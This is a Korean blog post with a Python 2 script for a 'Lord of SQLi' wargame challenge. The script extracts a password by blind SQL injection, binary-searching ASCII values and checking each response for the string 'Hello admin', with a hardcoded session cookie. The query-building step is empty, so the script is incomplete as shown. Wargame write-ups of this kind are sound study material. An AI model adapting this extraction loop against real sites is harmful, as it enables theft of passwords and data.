본문 바로가기
Study/web

los sql injection script

by Melpin 2015. 12. 7.

파이썬 urllib와 httplib를 이용해서 los문제를 풀때 특정 url에 대한 요청을 꾸준히 보낼 수 있다.


  1. import urllib
  2. import httplib
  3. import time
  4. #-*- coding: utf-8 -*-
  5.  
  6. headers={'Cookie':'PHPSESSID=djmhgqm25omprfnotoklko6d03',
  7.          'Content-Type':'application/x-www-form-urlencoded'}
  8. #cookie set
  9. conn=httplib.HTTPConnection('los.sandbox.cash')
  10. #los url set
  11.  
  12. query=''
  13. result=""
  14.  
  15. key="Hello admin"
  16. #set key ward
  17.  
  18. print "start"
  19. for i in range(1, 9):
  20.     low = 1
  21.     high = 128
  22.     while low <= high:
  23.         if(low > high):
  24.             print "can't find result"
  25.             exit()
  26.         elif(low == high):
  27.             result+=unichr(low)
  28.             print "key find!"
  29.             break
  30.            
  31.         mid = int((low + high)/2)
  32.         print "time : "+str(i)+", low : ", low," mid : ", mid, ", high : ", high
  33.         query='http://los.sandbox.cash/chall/hell_fire_caa31470fa3ada0e8f6bf78cd5730eee.php'
  34.         #prob url
  35.  
  36.         query+="?"
  37.         #set param
  38.         conn.request('GET',query,'',headers)
  39.         data=conn.getresponse().read()
  40.        
  41.         if data.find(key) > 0:
  42.             low = mid+1
  43.             continue
  44.         else :
  45.             high = mid
  46.             continue
  47.  
  48. print "Password is ",result

가장위의 header 부분에 현재 자신의 문제페이지에 있는 PHPSSID= 를 설정해주고
for 문에 pw의 길이만큼 반복을 하도록 하였다.

low high에 1, 128까지 아스키값 범위내에서 이진탐색을 한다
조금더 빠르게 문자를 찾고자 이런방법을...
참거짓 여부로 문자열의 범위를 찾아낼 수 있으므로 좀더 쿼리횟수를 줄일 수 있게된다.

key 문자열을 지정하여 요청한 url에 key가 있는지 확인하여 참거짓을 판단할 수 있게된다.


'Study > web' 카테고리의 다른 글

Tistory 단축키 추가방법  (0) 2020.11.11
sql injection에 대한 정리  (0) 2015.12.07

댓글